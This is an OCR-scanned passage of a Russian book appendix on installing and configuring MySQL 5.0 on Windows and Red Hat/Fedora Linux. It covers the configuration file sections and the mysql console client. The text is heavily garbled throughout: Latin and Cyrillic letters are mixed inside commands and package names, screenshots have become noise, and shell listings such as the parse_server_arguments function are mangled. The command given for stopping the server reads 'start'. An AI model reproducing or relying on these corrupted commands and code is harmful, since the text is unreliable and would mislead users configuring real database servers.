Прuложенuе 2. Уст ановка My SQL 1175 Флажок Create Ап Anonymous Account позволяет создать анонимного поль­ зователя. Тако й пользовател ь обладает минимальными правами, а в качестве имени и пароля у него выступает пустая строка. Последняя страница утилиты настройки MySQL-сервера MySQL Server 111 - stal1ce COl1figuratiol1 Wizard представлена на рис. П2 .19. После нажатия кнопки Execute будет создан конфигурационный файл C:\mysqI5\my.il1i и запущен сервер My SQL. ЗАМЕЧАНИЕ Если при уста новке сервера MySQL у вас возникли затруднения, вы можете обратиться на форум по адресу http://www.softtime. ru/forum/ ndex.php?id_fo rum=3. Авторы присутствуют на форуме каждый день и по­ могают читателям с установкой MySQL, Web-сервера Apache и РНР уже на протяжении двух лет. На данном форуме можно также задавать любые во­ просы , связанные как с адм инистрированием, так и с программированием в среде MySQL. П2. 1 . З . Проверка работоспособности MySQL После того как установка и конфигурирование MySQL завершены, необхо­ димо убедиться в работоспособности сервера MySQL. Для это го следует от­ крыть окно дл я работы с командной строкой, выбрав в системном меню Пуск I Программы I MySQL I MySQL Server 5.0 I MySQL Command Line CHent. Открывшееся окно может выглядеть так, как это показ ано на рис. П2 .20. На предложение ввести парол ь нажмите кл авишу <El1ter> . После того как появилось приглашение mys ql>, введите команду: SELECT VERS ION() ; В резул ьтате сервер должен показать текущую версию сервера, в нашем слу­ чае это 5.О.26-commu nity-nt (рис. П2 .2 1). ЗАМЕЧАНИЕ Для выхода введите ко манду EXIT. ЗАМЕЧАНИЕ Возможно, при обращении к утилите MySQL Соmmапd Liпе Сliепt она из­ даст писк и закроется . В этом случае следует отреда ктировать файл mу.iпi
1176 Прuложенuя та ким образом, чтоб ы директива default-character-set присутствовал а тол ько в секции [mysqld] И отсутствовала в секции [mys ql ] И всех других секциях. Рис. П2.20. Ко мандная стр ока утилиты MySQL Command Line Client ter password : lcome to the MySQL moni tor . Commands end with ; or \9 . MySQL connec tion id is 1 t o server version : 5.e.26�community-nt 'help; ' or '\h' for help . Туре '\с' to clear the buffer . ) SELECT UERSION( ); ---------------------+ I 5.e .26 - community-nt I ---------------------+ set (е .е6 вес) Рис. П2.21 . Результат выполнения команды SELECT VERS ION ()
Прuложенuе 2. Уст ановка My SQL 1177 Есл и сервер не запущен, то после нажатия кл авиши <Епtег> окно будет за­ крыто. Для запуска сервера следует перейти в консол ь управления сервиса­ ми, выполнив команду Пуск I Настрой ка I Пан ель управлен ия I Адми н и ­ стрирован ие I Служб ы. В результате этого откроется окно, представл енное на рис. П2 .22. Работает Работает УпраВJlяет конф... Работает Разрешает для д... Работает Helper service for . . . Работает Provldes automati•• • "''' ''" Tn'>�.·<,�"= Server Вог:laпd IГiteгBase�.. Macrune Debug.. . Manages .!осаl andc.. Работает ИS Soft",тare Sh. .. УпраВJlЯет тенев ... . Вручную Вруч ную Авто Авто Авто Авто Авто Авто Вручную Вручную Вручную Вручную Локальная Сетевая служб; , Локальная сие. . ,� � Локал ьная сис. ,"',,'� "* Локальная сие",,",� tk' Локальная сис. \,.•"1 Локальная си с. ;. " � . I Авто Локальная сие. . ..;� Работает Лока.l l ьная сис. �\ .�.'� Локальная сие :-.:· : Работает Рис. П2.22 . КОНСОЛ Ь управления сервисами ЗАМЕЧА НИЕ Проверить, запущен MySQL-сервер или нет, можно также по наличию про­ цесса mysql-nt.exe в диспетч ере задач . в консоли управления сервисами необходимо найти сервис MySQL. Есл и поле Состояние данного сервиса пусто, то он не запущен. Дл я его запуска следует выбрать в контекстном меню пункт Пуск. Дл я остановки сервиса необходимо выбрать пункт Стоп. Обратите внимание на столбец Тип запус­ ка : значение А вто сообщает Windows о необходимости запускать сервис при старте операционной системы, значение В руч ную означает, что запуск вы-
1178 Прuл оженuя полняется пользователем через консол ь управления сервисами. Можно изме­ нить режим запуска сервиса, выбрав в контекстном меню сервиса пункт Свойства. ЗА МЕЧА НИЕ Для того чтобы запустить MySQL-сервер в обход сервисов, необходимо воспользоваться параметром --standa lone. П2.2. Установка My5QL под Linux Большинство дистрибути вов Linux содержат в своем составе СУБД MySQL. В дан ном разделе будет рассмотрена устан овка сервера и клиента примени­ тельно к RedHat Lil1ux (Fedora Core). Несмотря на то что в среде Lil1ux принято устанавливать програм мное обес­ печение из исходных кодов, а MySQL, как база данных с открытым кодом, позволяет это сделать, официально рекомендуется ставить MySQL из бинар­ ных пакетов, так как они оптимизированы с учетом использования конкрет­ ной архитектуры для достижения максимальной эффективности . ЗА МЕЧАНИЕ Перед установкой MySQL необходимо остановить сервер, если он запущен. Для этого в системах, основанных на дистрибути ве RadHat, как правило, требуется остановить демон mysql, выполнив команду из-под root: /sbin/service my sql stop. Чтобы просмотреть все файлы в пакете RPM, выполните команду: rpm -qpl MySQL-VЕRSIОN .i38б .rрm Для того чтобы выяснить требования пакета, необходимо выполнить команду: rpm -qRр MySQL-VERS IОN .i38б.rрm Для выполнения стандартной установки выполните команды, предварител ь­ но войдя в систему из-под root: rpm -ihv MySQL-sе rvе r-VERSIОN.i38б.rрm rpm -Uhv MySQL-Сliепt -VERSIОN.i 38б.rрm
Прuложенuе 2. Уст ановка My SQL 1179 ЗАМЕЧА НИЕ Если пакет не ста вится из-за неудовлетворенных зависимостей , можно по­ требовать игнорировать зависимости при помощи параметра --n o dep s . Часть зависимостей необходимо удовлетворять обязател ьно, часть нет: так модуль DBI для Peгl требуется тол ько для запуска тесто вых скриптов, а без соответствующей версии библиоте ки glibc MySQL не заработает. Дистрибутивы RedHat и Fedora Core до версии 3 поставлял ись с MySQL вер­ сии 3.2 3.58. Это связано с тем, что большое число приложений ориентирова­ л ись именно на эту версию, и ее удаление приводило к нарушению зависимо­ стей. Поэтому для устан овки более новых версий необходимо дополнител ьно ставить пакет MySQL-sl1агеd-сошрасt, который включает в себя две динами­ ческие библиотеки для обратной совместимости : liЬшуsqlcliпt.sо. 12 для MySQL 4.0 и Iibmysqlclient.so. l0 для MySQL 3.23 . В Fedora Core 4 этот пакет входит в состав дистрибутива, для более ранних версий необходимо загру­ зить пакет MySQL-sl1агеd-сошраt-VЕRSIОN.i386.грm с официального сайта MySQL. На загрузочно.Й странице httр ://dеv.mуsql.соm/d оwпlоаds/mуsql/5.0 .html для дистрибутива, основанного на RedHat, лучше ориентироваться на_ раздел Linux х86 generic НРМ (statically linked against glibc 2.2 .5) downloads. В отличие от Wiпdоws-раздела, MySQL поставляется в виде отдельных ком­ понентов, а не в виде единого RРМ-пакета. Для установки сервера потребу­ ется пакет MySQL-sеrvег-VERSЮN.i386.грm из раздел а Server. Для установ­ ки кл иентского программного обеспечения нужен пакет MySQL-с liепt­ VЕRSЮN.i386.грm из раздела Client programs. По желанию могут быть ус­ тановлены тесты производительности Benchmark/test suites, библ иотеки и заголовочные файлы дл я разработки программ Libraries and header files, динамические библиотеки клиентского ПО для поддержки кл иентов MySQL - Dynamic client libraries . Раздел Dynamic client libraries (including 3.23 .х libraries) позволяет загрузить упоминавшуюся ранее биб­ лиотеку MySQL-sl1агеd-сошраt-VЕRSIОN.i386.грm, предназначенную для об­ ратной совместимости. RPM помещает данные в каталог /var/libImysql/ и создает соответствующие вхождения в каталоге /etc/init.d/ для автоматического запуска сервера при загрузке. ЗАМЕЧА НИЕ После установки основных файлов, автоматически запускается скрипт mуsqlj пtаll_dЬ, который разворачивает системные базы данных. Если он в
1180 Прuложенuя силу каких-либо причин не срабаты вает (например, из-за неправильно сконфигурированного файла /etc/my.cnf) , его можно запустить позже . При обновлении уже существующей версии MySQL можно воспользоваться командам и: rpm - Uhv MySQL- sеrvеr-VERS IОN.iЗ86 .rрm rpm -Uhv MySQL- с1iепt -VERS IОN.iЗ86.rрm После этого можно запустить сервер при помощи ко манды /us r / bin/mys q1d_s afe. �я проверки работос пособн ости дал ее следует на­ брать команду : mys q1 -u root в ответ на кото рую должно откр ыться приглашение вида: We1come to the MySQL moni tor . Commands end with ; or \g . Your MySQL connection id is 18 to server ve rsion : 5.0 .18 -standa rd Туре 'he1p; ' or '\h' for he1p . Туре '\с' to c1ear the buffer . mys q1> При помощи команды SELECT VE RSION () можно запросить версию сервера, как это описывалось в разделе, посвященном установке MySQL под Windows. ЗАМЕЧА НИЕ Более подробно ут илита mysql описывается в следующем разделе. Здесь сто ит лишь упомянуть, что покинуть утилиту mysql можно не только при по­ мощи ко манды EX IT, но и ко манды QU IT. После установки новой версии инсталлятор перезап исывает скрипт автомати­ ческого запуска и остановки сервера /etc/rc .dlinit.d/mysql сценарием шуsq l.sегvег из дистрибутива, в резул ьтате чего он может не работать, как это, например, происходит в систе ме Fedora Core . �я того чтобы восстановить его работу, необходимо переписать функцию parse_s e rve r_a r guments (), указав пути к каталогу данных и серверу, как это представл ено в листи нге П2 . 1 . ЗАМЕЧАНИЕ Если при установке скрипт mysql.seгver не б ыл развернут в каталог /etc/гc.dli nit.d/, его можно найти в каталоге /usг/share/mysql/.
Прuложенuе 2. Уст ановка MySQL 1181 ЛИСТИНГ n2.1 . ФУНКЦИЯ parse_server_a rguments () скрипта /еtс/rс.d/iпit.d/mуsql parse_s e rver_argument s() for arg do case "$arg " in --basedir=* ) basedir= 'echo "$arg" I sed -е 's/ Л [л=) *=// " bindi r=" /us r/bin" datadi r=" /var /lib/rnys ql " sbindi r=" /usr/sbin" libexecdi r=" $basedir/libexec" --datadir=* ) datadir= ' echo "$arg" I sed -е 's/Л[ Л =) *=// " " --user=*) user= ' echo "$arg" I sed -е 's/Л[ Л=) *=// " ;; --pid-file=* ) serve r_p id_file= ' echo "$arg " I sed -е 's/Л [ Л =) *=// " -- use-rnanager) esac done Скрипт /etc/rc .d/init.d/mysql в первую очередь предназ начен дл я авто матиче­ ского запуска и остановки сервера MySQL при старте и завершении работы операционной системы. Однако он вполне допускает старт и остановку сер­ вера в ручном режиме. Для запуска mysqld необходимо войти в систему с правами суперпользовател я и выпол нить команду: /etc/rc .d/init . d/rnysql start Следующая команда выпол нит остановку сервера: /etc/rc .d/init . d/rny sql start Помимо этого можно осуществить перезапуск сервера (это особенно полезно при изменении парам етров ко нфигурационного файла my .il1i): /etc/rc .d/init . d/rnysql restart Для того чтобы проверить, запущен MySQL-сервер в UNIХ-среде или нет, можно использовать команду: ps -Af I grep rnysql Есл и сервер запущен, ком анда выдаст строки, соответствующие процессу mysqld.
1182 Прuложенuя П2.З. Конф и гурационный файл Сервер MySQL имеет переменные состоя ния, которые определяют его на­ стройки. Некоторые из переменных состоя ния могут быть изменены при по­ мощи параметров запуска. При просмотре команды запуска сервера MySQL в свойствах сервиса или при помощи команды ps -Af можно заметить, что им передаются параметры запуска . Параметром называют ключевое слово, ко­ торое следует после имени процесса. Например, параметр - -defaults-file В листинге П2 .2 сообщает MySQL-серверу, что ко нфигурационный файл my .il1i следует искать по адресу С:\mуsqI5\mу.iпi. ЗАМЕЧАНИЕ В Windows , если не указывается параметр --de faults-file, кон фигура­ ционный файл ищется в корне диска С:, в UNIХ-подобных операционных системах ко нфигурационные файлы тради ционно помещаются в каталог /etc , поэто му путе м по умолчанию будет /etc/my.cnf. Листинг П2.2. Параметр запуска --defau l ts-fйе C: \mys q15 \bin\my sqld-nt .exe --dе fаults-filе= ' 'С : \mуsq15\mу. ini '' Параметров сервера MySQL достаточно много, поэтому их может накапл и­ ваться изрядное количество. Просмотреть их полный список можно, передав серверу MySQL параметры --verbose --help (до версии MySQL 4.1 можно указать тол ько параметр --help) . Некоторые параметры имеют короткие сокращения и начинаются с одного дефиса, а не с двух. Например, параметр --user имеет сокращение -и . Параметры запуска можно не прописывать непосредственно в строке запуска сервера, а поместить в конфигурационный файл my .il1i или my.cl1f, из которо­ го сервер прочитает их при с'Г арте . Следует отметить, что в конфигурационном файле my .il1i параметры указ ы­ ваются без предваряющих дефисов, так как каждый параметр располагается на отдел ьной строке. Если строка начинается с символа диеза # или точ ки с запятой ;, то строка является комментарием . Параметры в конфигурацион­ ном файле называют директивами. В операционной системе Windows конфигурационный файл может иметь как расш ирение iпi (такой файл может располагаться в катал огах С:\Wiпdоws\ и в C:\mysqI5\), так и расширение Сl1f (обычно располагается в корне диска С:).
Прuложенuе 2. Ус тановка My SQL 1183 в UNIХ-подобных операционных системах конфигурационный файл имеет, как правило, расширение спf. Конфигурационный файл влияет на работу не тол ько сервера MySQL, но и вспомогател ьных утилит, таких как консольный кл иент mysql, ут ил ита соз­ дан ия SQL-дампов mysqldump и т. п ., более того, один конфигурационный файл может управлять работой нескол ьких серверов MySQL. Поэтому со­ держимое конфигурационного файла разделено на секции, которые имеют вид [имя_ секции] . Имя секции определяет утил иту или сервер, к которым будут относиться перечисленные далее директивы, до тех пор пока не встре­ тится новая секция или конец файла. В табл . П2 . 1 перечислены наиболее ти­ пичные секции. Таблица П2. 1. Секции конфигурационного файла my.ini или ту.сп' И мя секции Описание [rnysqld] Сервер MySQL [serve r] Сервер MySQL [rnysqld-4 .0] Сервер MySQL версии 4 . 0 [rnysqld-4 .1] Сервер MySQL версии 4.1 [rnysqld- 5 .0] Сервер MySQL версии 5.0 [rnys qld-5 .1] Сервер MySQL версии 5.1 [rnys qld_s afe] Утилита запуска rnysqld_s afe [safe_rnysqld] Утилита запуска rnysqld_s afe [rnysql . server] Скрипт запуска rny sql . serve r [rnys qld_rn ulti] Утилита запуска rnys qld_rnu l ti [client ] Любая клиентская утилита , обращающаяся к серверу [rnysql ] Консольный кл иент rnysql [rnysqldurnp] Утилита созда ния SQL-дампов rny sql durnp [rnysqlhotcopy ] Утилита горячего ко пирования бинарных файлов базы данных Наличие секции [rnys qld] И специальных секций для разных версий обусл ов­ лено тем, что с каждой новой версией появляется все больше и больше пара-
1184 Прuл оженuя метров запуска, и если конфигурационный файл управляет несколькими сер­ верам и, то некоторые директи вы будут од инаковыми дл я всех серверов, а другие уникальны для каждой из версий. Точно такая же ситу ация сложилась с секцией [client ] и секциями для каж­ дой из утилит. Дело в том, что все утилиты обладают сходными параметрами (например, параметры соединения с серверам и у всех одинако вые), и в то же время каждая из них имеет уникальные параметры, характерные тол ько для ее функциональных возможностей. В листинге П2 .3 приводится пример ко нфигурационного файла mу. iпi, харак­ те рного дл я операционной системы Windows . Листинг П2.З . Типичный конфигурационный файл my.ini # Секция MySQL-сервера [rnys ql d] # Порт TCP/IP, который прослушивает MySQL-сервер , порт 3306 являе тся # стандартным, однако можно назначить любой другой не занятый порт port=3 306 # Путь установки MySQL-сервера , все остальные пути , # если не указано другое, вычисляются относительно этого пути basedir="C : /rnysq15/" # Пут ь к каталогу данных , в случае данного конфигурационного файла # эту директиву можно не указывать , т. к. путь будет правильно # вычислен относительно дир ективы basedir datadi r="C : /rnys q15/Data/" # в качестве кодировки по умолчанию для новых таблиц И баз данных # будет выступать русская кодировка Windows - 1251 , # в случае отсутствия этой директивы по умолчанию будет назначена # кодировка latin1 (русский текст будет сортировать ся неправиль но ) default- cha racter-set=cp1251 # Объем оперативной памяти , которая отводится на кэш ключей key_bu ffer_size = 128М # Максимальный размер запроса , который посылает клиент серверу rnax_allowed_packet = 8М
Прuложенuе 2. Уст ановка My SQL # Объем оперативной памяти , которая отводится на кэш запросов query_cache_s ize = б4М # Максималь ное количество одновременных подключений шах СQппесtiопs 200 # Секция консоль ного клиента mys ql [mys ql ] # Поль зователь по умолчанюо , если клиенту mysql через параметр -и # не будет передан текущий поль зователь , будет исполь зован root user = root 1185 В ко нфигурационном файле my. ini, приведенном в листинге 1.3, представле­ на лишь небол ьшая часть директи в. Полный список можно найти в офици­ альной документации. П2.4 . Утил ита mysql Консольный кл иент mysq\ часто называют "терм инальным монитором" или просто "монитором". Пользователи операционной системы Lil1l1X могут на­ бирать имя данн'ой программы с параметрами из любой точки систем ы. Вла­ дел ьцам Windows дл я запуска mysq \ необходимо выбрать следующий пу нкт систе много меню: Пуск I Программы I MySQL I MySQL Server 5.0 I MySQL Command Line Client. З АМЕЧАНИЕ Возможно, при обращении к ут илите MySQL Command Line Client она из­ даст писк и закроется . В это м случае следует отредактировать файл my.ini таким образом, чтобbl директива default - character- set присутствовала тол ько в секции [mys qld] И отсутствовала в секции [my sql ] И всех других секциях. П2.4 .1 . Ко м андная строка При запуске утилиты mysq\ с помощью MySQL Commal1d Line C\iel1t нет возможности вводить какие-либо параметры. Кроме того, для работы с дру­ гими утилитам и, входящими в поставку MySQL, необходим доступ к командной строке . Получить его можно, обратившись к следующему пункту : Пуск I Програ ммы I Ста ндартные I Ком андная строка. В резул ьтате будет открыто окно, представленное на рис. П2 .23 .
1186 Прuл оженuя ЗАМЕЧАНИЕ В данной книге цвет окна и его размеры выбраны отличными от тех , что выста вляются системой по умолчанию. Можно самостоятел ьно изменить цветовую схему ко мандной строки и ее размеры в свойствах системного меню окна. ndows ХР [Версия 5.1 .2 6ее ] Корпорация Майкрософт , 1985-2ееl . :\Documents and Sеt tiпgs\ААнинистратор>сd C:\mysq 15\bin\ :\mysq15\bin> Рис. П2.2З. Ко манд ная ст рока После запуска командной строки необходимо перейти в подкатал ог Ы l1 кор­ невого катал ога MySQL. Для этого следует набрать команду : cd С: \mysq1 5 \bin В ответ будет выведено приглашение командной строки : C: \mysq15\bin ЗАМЕЧАНИЕ Если корневой каталог MySQL расположен на другом диске, например О:, необходи мо перед выполнением команды cd сменить диск при помощи команды о: . Кроме этого , созда в ярлык дл я командной строки , в свойствах ярлыка можно выставить в качестве рабочего каталога путь к каталогу Ып, для того чтобы не вводить всякий раз команду cd. Теперь мы находимся в катал оге Ып и може м запускать расположе нные в нем утил иты . Дл я это го достаточно набрать в командной строке имя утил иты и, если необходимо, параметры. Параметры - это с и мволы, начинающиеся с
Прuложенuе 2. Уст ановка My SQL 1187 дефиса, например, -u, за которыми следует их значение. Использование различных параметров, кото рые будут рассмотрены в данной гл аве, позволяет изменять режим работы утил ит. Каждый раз набирать ко манды перехода в катал ог Ыl1 достаточно уто мител ь­ но, особенно если сервер MySQL был установлен в каталог С:\Ргоgгаш Files. Имеется несколько возможностей для авто матизации загруз ки консол ьного кл иента шуsq l. Первая из них заключается в создан ии ярлыка ко мандной строки на рабочем стол е. Дал ее в контекстном меню ярлыка следует выбрать пункт Свойства, а в открывшемся диалоге вкладку ЯРЛЫК. В поле Рабочая п а пка следует ввести путь к катал огу ЫI1 (на рис. П2 .24 это путь С:/шуsqI5/ЫI1), после чего нажать кнопку ОК или Применить . Рис. П2.24. Свойства ярлыка для командной строки
1188 Прuложенuя Теперь при вызове командной стр оки при помощи ярлыка в качестве текуще­ го катал ога изначально будет выставлен катал ог С:\шуsqI5\Ып. Второй путь авто матизации процесса запус ка ут илиты шуsql заключается в то м, чтобы прописать каталог С:\шуsqI5\Ып в переменной окруже ния РАТН . ЭТО позволит запускать утил иты, находящиеся в катал оге Ып, из любого дру­ гого катал ога компьюте ра. ЗАМЕЧА НИЕ В UNIХ-подобных операционных системах все утилиты помещаются либо в каталог /Ы п, либо в каталог /usr/sbin, кото рые указаны в переменной окру­ же ния РАТН по умолчанию. Если по какой-то причине ут илиты MySQ L рас­ положены в других каталогах, следует либо указывать полный путь к ним, либо прописать каталог в переменной окружения РАТН. Перемеllllая окру:жеllUЯ - это параметр, который позволяет настроить пове­ дение операционной системы : где искать в первую очередь исполняем ы е файлы, где хранить временные файлы, где расположен системный катал ог и т. п. На рис. П2.24 в поле Объект испол ьзуется конструкция %SуstешRооt% - это один из примеров переменной окружения, которая хранит путь к катал огу Windows . Отдел ьные программы могут создавать собственные переменные окружения, однако некоторые из переменных ок­ ружения являются стандартн ыми. К стандартным переменным окруже ния относится переменная РАТН, которая сообщает операционной системе, в ка­ ких каталогах следует искать исполняемые файлы. В операционной систе ме Windows ХР дЛЯ доступа к переменным окружения следует открыть диалог Свойства системы, выбрав в контекстном меню значка Мой компьютер пункт Свойства или выбрать следующий пункт сис­ те много меню: Пуск I Настройка I Панель управления I Система. В результате будет открыто диалоговое окно, изображенное на рис. П2 .25 . На вкладке До полнительно необходимо нажать кнопку Переменн ые среды, что приведет к открытию диалогового окна, представленного на рис. П2 .26. В разделе Системн ые переменные следует отыскать переменную окруже­ ния РАТН и дополнить ее путем к каталогу ЫП СУБД MySQL. Отдельные пути в значен ии переменной РАТН разделяются точкой с запятой (в конце всей строки точка с запятой не требуется). Новое значение переменной окружен ия РАТН вступает в силу после перезагрузки компьютера. Еще одним важным параметром командной строки является кодировка. По умолчан ию набранный в консол и русский текст будет помещен в базу дан-
Прuложенuе 2. Уста новка My SQL 1189 ных MySQL в кодировке ср866 (DOS), что может быть очень не удобным . Для смены кодировки в консоли используется команда chcp, запуск которой без параметров сообщает текущую кодировку, передача команде в качестве парам етра номера кодировки приводит к смене кодировки консоли. Напри­ мер, для того чтобы установить кодировку Windows-1251, следует выполнить команду : chcp 1251 Свойства сиcrемы ПEl НеоБХОДИf10 Iitме тlo ПРelве ещминистраТОРel ДIU\ изменеНIitR БОЛЪ1l1l1нстеа пере числе нн ых f.1араме т.рGВ. [ Быс,родеЙСТВl1 е В изуель ные з ффеКТЫ. l1 с по ль з ов !!ние мроцессоре. опере тивl'ЮЙ и Вf1fРТУ!!ЛЬНОЙ памят и Оараме тры I =; ;;:;;;;:;;;:;;;;:;;;,;; ПРОфИ1\И Аользован!'лей =;=;" "",",,,,,,,,=:-7=;==,=�""""�=�"""'="F.l П!!рема,ры рабоче го етола. ОТНОPIЩИ.еся ко входу в сист ему ЗагруЗ!«l И iЮССП.lно·вление �-� ��=""""""",��-=�=-"с-'--"" ,. З.!.IfРУЗК!I и восстаыовление системы. отлааоЧН!lЯ ИНфОРМ!.IцlitR OT�eT об оwибt<ех Рис. П2.25 . Диалоговое окно Свойства системы З АМЕЧАНИЕ Если в резул ьтате выполнения ко манды chcp 1251 набираемый русский текст отображается в искаженном виде, следует в свойствах окна ко нсоли поменять шрифт с точечного на Lucida Console.
1190 Рис. П2.26. Диалоговое окно П еременные среды П2.4.2. Работа с утил итой mysql в диалоговом режи ме Прuложенuя Для соединения с сервером баз ы дан ных в параметрах mysql необходимо указать имя пользователя и его пароль. В только что установленной системе существует один пользователь root, наделенный правами адм инистратора, а его паролем по умолчанию выступает пустая строка. Поэтому для получения доступа к серверу достаточно набрать команду: mysql -и root Резул ьтат выполнения команды представлен на рис. П2 .27. После номера версии сервера и информации о справочных ключах выводится приглашение my sql>, разрешающее ввод команд.
Прuложенuе 2. Уст ановка My SQL icrosoft Windows хр [Версия 5.1 .26 С) Корпорация Майкрософт , 1985-2001 . :\Documents �nd SеttiП9s\Ад нинистратор>сd C:\mysq15\bin :\mysq15\bin>mysql -u root lcome to the MySOL monitor . Comm�nds end with ; ог \9 . MySOL connection id is 2 to SQrver vers ion : 5.0.26-community-nt ' help; ' ог '\h' for help . Туре '\с' to clear the buffer . Рис. П2.27 . Пригл а шение mys ql> консол ьного кл иента mysql 1191 Для демонстрации полноценной авторизации создадим нового пользовател я user с паролем hello при помощи оператора CREATE USER, представленного в листи нге П2 .4. Эту инструкцию следует набрать сразу после приглашения my sql>, как это показано на рис. П2 .28. Листинг П2.4. Создание нового пользователя user CREATE USER user IDENT IFIED ВУ 'hello '; После это го выйдем из оболочки mysql и попробуем зайти от имени нового пользователя. Выход из оболочки mysq l производ ится при помощи команды exit или qu i t (рис. П2 .28). Те перь команда mys ql -и user не проходит - сервер отказывается предос­ тавить доступ без подтверждения полномочий паролем (рис. П2.29). Для того чтобы соединиться с сервером с правам и пользователя user, необходимо пе­ редать пароль. Для этого используется параметр -р, сразу после кото рого без пробела вводится пароль. Для удобства в других параметрах допускается ис­ пол ьзование пробела между параметром и его значением . Например, сл е­ дующие записи эквивалентны: my sql -uuser -phe llo mysql -и user -phello
1192 Прuложенuя Параметр -р является искл ючением, так как все следующие за ним символ ы воспринимаются как часть пароля. , ;: Командная строка l! !l 1iIE! - - - - - Нiсгоsоf t blindows ХР [Версия 5. 1.26ее ] (С) Корпорация Найкрософт , 1985�2ee 1 . C:\Documen ts and Sеt tiП9s\ААнинистратор>сd C:\mysq 15\b in .: \mysq 15\bin>lI I ysql -u гооt elcome to the HySQL mопitог. Commands end with ; ог \9 . оuг HySQL connec tion id is 2 to sегvег vегsiоп : 5.e .26-community-nt Туре 'help; ' ог '\h' fог help . Туре '\с' to сlеаг the Ьuffег . ysql > CREATE USER usег IDENT IFIED ВУ 'hel l o' ; uегу ОК , е гоws affec ted (О.е6 зес) ysql> ехН уе :\mysq 15\ bin> .. � Рис. П2.28, Созда ние пользовател я user С паролем he llo и выход из оболочки -u usег Ассезз den ied fог usег 'usег'@ '10саlhоst· (usin9 :\mysq 15\bin>mysql -u usег -phell0 to the HySQL mопitог . Commands end with ; ог \9 . HySQL connec tion id is 12 to sегvег vегs iоп : 5.0 .З -Ьеtа-пt ог '\h' fог help . Туре '\с' to сlеаг the Ьuffег . Рис. П2.29. Авторизация с и спользованием пароля
Прuложенuе 2. Уст ановка MySQL 1193 в некоторых ситуациях требуется скрыть пароль символами звездочки, в это м случае допускается использование параметра -р без значения . Утилита шуsq\ запросит пароль при помощи отдел ьной строки Ente r passwo rd :, В которой вводимые символы будут скрыты символом звездочки (рис. П2 .30). :\mysq15\ bin>mysql -и USQr -р tQr password : ***** lcomQ to thQ MySQL monitor. Commands end with ; or \9 . MySQL cOnnQct ion id is 3 to server vers ion : 5.e.26 -community-nt ' hQlp; ' or '\h' for help . Туре '\с' to clear the buffer . Рис, П2,30, Ал ьте рнативный способ авторизации Команды и SQL-инструкци и за редки м исключением ( exit, qu it, use) долж­ ны заканчиваться точкой с запятой, Например, на рис. П2 .з 1 приведена SQL­ инструкция, запраши вающая у сервера MySQL его версию и текущую дату. ЗАМЕЧА НИЕ Начиная с MySQL 5.0, изменить символ завершения запроса с точки запя­ то й на новый символ , например / /, можно либо при помощи команды DELIMITER / / , либо указав раздел ител ь при помощи параметра --delimiter=narne . После ввода пользователем команды она отп равляется на сервер для выпол­ нения, и, если нет ошибок в синтакс исе, на экран выводится резул ьтат в виде резул ьтирующей табл ицы, а на новой строке приглашение mys ql>, разре­ шающее ввод следующей команды , В первой строке табл ицы с резул ьтатами содержатся заголовки столбцов, а в следующих строках - ответ сервера на запрос . Обычно заголовками столб-
1194 Прuложенuя цов становятся имена, полученные из табл иц базы. Есл и же извлекается не стол бец таблицы, а значение выраже ния (как это происходит в приведенном выше примере), l11ysql дает столбцу имя зап раш иваемого выражения . После этого сообщается количество возвращаемых строк (1 row in set - одна строка в резул ьтате) и время выпол нения запроса. I CURRENT_DATE I --------------------+ --------------+ 5;0.26-communi ty-nt I 2006- 12-13 ------------------ --+-----�--------+ row in s�t (0.08 sec) sq l> SELECT UERS ION( ). -> CURRENT_DATE -> -> -> -> --------------- -----+ --------------+ UERSION( ) I CURRENT_DATE I --------------------+ --------------+ 5.0.26-community-nt I 2006- 12-13 Рис. П2.З1 . Выполнение команд Для ввода ключевых слов можно испол ьзовать любой регистр символов. Так, приведенные в листинге П2 .5 запросы абсолютно идентичны. Листинг П2.5 . Имена инструкций и ключевые слова не зависят от регистра символов SELECT VERS ION () , CURRENT_DATE i select ve rsion () , current_date i SeLeCt vE rSiOn() , current_DATE i Если команда не помещается на одн ой строке, возможен переход на другую строку после нажатия клавиш и <Enter> - запрос отправляется серверу тол ь­ ко после то го, как консольный клиент l1 1 ysql встретит символ точки с запя­ то й. Приглашение командной строки после ввода первой строки этого запро­ са меняется с mysql> на -> (рис. П2 .3 1). Таким образом, программа l1 1 ysq l показывает, что завершенного выражения она пока что не получила, и ожи-
Приложение 2. Уст ановка My SQL 1195 дает его полного ввода. Точно так же утилита шуsql ведет себя, когда ожида­ ет завершение строки, заключенной в двойные ( 11) или одинарные (') кав ыч­ ки (рис. П2 .З2). row in set (е.ее sec) 1> SELECT "Hello "> wo r1d '''; -------------+ row in set (е.ее sec) Рис. П2.32. Многостроч ный ввод текста , заключенного в двойные кавычки Как видно из рис. П2 .32, при переходе на следующую строку приглашение командной строки меняется с mys ql> на 11 >. Есл и строка заключена в одинар­ ные кав ычки, приглашение меняется на '>. Для того чтобы отменить теку­ щий запрос, следует ввести последовател ьность \с. Уже введенные ранее команды не обязател ьно вводить снова, для этого дос­ таточно их вызвать кл авишами <t> и <.,J. . > (стрел ка вверх и стрел ка вниз); очистить стр оку запроса можно при помощи кл авиши <Esc>. Полный список комбинаций кл авиш, которые применяются в редакторе утил иты шуsql, при­ веден в табл. П2.2. Та блица П2.2 . Комбина ции клавиш утилиты mysq/ Комбина ция Комбина ция Значение клави ш (UNIX) кл ави ш (Windows) <t>, <Ctгl >+< P > <t> Вызов предыдущей ко манды из буфера ко манд
1196 Прuложенuя Та блица П2. 2 (окончание) Комбинация Комбина ция Значение кл ави ш (UNIX) кл ави ш (Windows) < t>, <Ctrl>+<N> <t> Вызов следующей команды из буфера ко манд <+->, <Ctrl>+<B> <+-> Перемещение курсора влево ( назад) <�> , <Ctrl>+<F> <�> Перемещение курсора вправо (вперед) <Esc>+<Ctrl>+<B> <Ctrl>+<+-> Перемещение курсора влево на одно слово <Esc>+:<Ctrl>+<F> <Ctrl>+<�> Перемещение курсора вправо на одно слово <Ctrl>+<A> <Но те> Перемещен ие курсора в начал о строки <Ctrl>+<E> <End> Перемещение курсора в ко нец строки <Ctrl>+<O> - Удаление символа, выделенного курсором <Oelete> <Oelete> Удаление символа слева от курсора <Backspace> <Backspace> Удаление символа справа от курсора <Esc>+<O> - Удаление слова <Esc>+ - Удаление слова слева от курсора +<Backspace> - <Esc> Удаление всего запроса <Ctrl>+<K> - Удаление части стро ки от курсора до конца строки <Ctrl>+<_> - Отмена п оследнего изменения Параметры в утилитах MySQL могут иметь две формы: полную, начинаю­ щуюся с двух дефисов - user, И краткую, которая начинается с одного дефиса - и . Более подробно параметры утилиты mysql описываются в справочном руководстве. Далее рассматриваются наиболее интересные параметры.
